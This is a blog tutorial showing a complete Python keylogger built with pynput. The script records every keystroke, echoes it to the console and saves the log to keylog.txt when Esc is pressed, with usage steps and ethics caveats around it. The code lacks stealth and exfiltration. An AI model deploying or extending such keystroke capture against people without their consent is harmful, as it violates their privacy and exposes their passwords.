In this blog post, we’ll explore how to create a simple keylogger using the pynput library in Python. A keylogger is a program that records keystrokes made by a user on their keyboard. While keyloggers can have legitimate uses (such as monitoring computer activity for security purposes), they can also be misused for malicious intent. It’s essential to use this knowledge responsibly and ethically.
Building a Keylogger using pynput
1. Introduction to pynput:
The pynput library provides classes for controlling and monitoring input devices (such as keyboards and mice). We’ll focus on the keyboard aspect to create our keylogger.
2. Installation:
Before we begin, make sure you have the pynput library installed. You can install it using the following command:
pip install pynput
3. Creating the Keylogger:
Below, I’ll provide a simple example of a keylogger using pynput. Remember that using keyloggers without proper consent is unethical and potentially illegal. Always respect privacy and follow legal guidelines.
Python
# keylogger.py
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
try:
# Append the pressed key to the list
keys.append(key.char)
print(f"Key pressed: {key.char}")
except AttributeError:
# Handle special keys (e.g., Shift, Ctrl, etc.)
keys.append(str(key))
print(f"Special key pressed: {key}")
def on_release(key):
if key == Key.esc:
# Stop the keylogger when the user presses the 'Esc' key
write_to_file()
return False
def write_to_file():
# Write the captured keys to a log file
with open("keylog.txt", "w") as f:
for key in keys:
f.write(str(key) + "\n")
if __name__ == "__main__":
print("Keylogger started. Press 'Esc' to stop.")
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
AI-generated code. Review and use carefully. More info on FAQ.
4. Explanation:
- The script initializes an empty list called
keysto store the pressed keys. - The
on_pressfunction is called whenever a key is pressed. It appends the key (either alphanumeric or special) to the list. - The
on_releasefunction is called when a key is released. If the ‘Esc’ key is pressed, it stops the keylogger and writes the captured keys to a file. - The
write_to_filefunction saves the captured keys to a text file named “keylog.txt”.
5. Usage:
- Run the script (
python keylogger.py). - Type some keys.
- Press ‘Esc’ to stop the keylogger.
- Check the “keylog.txt” file to see the captured keys.
6. Conclusion:
Written by: Piyush Patil
Remember that using keyloggers without proper authorization is unethical and potentially illegal. Always use this knowledge responsibly and for legitimate purposes.



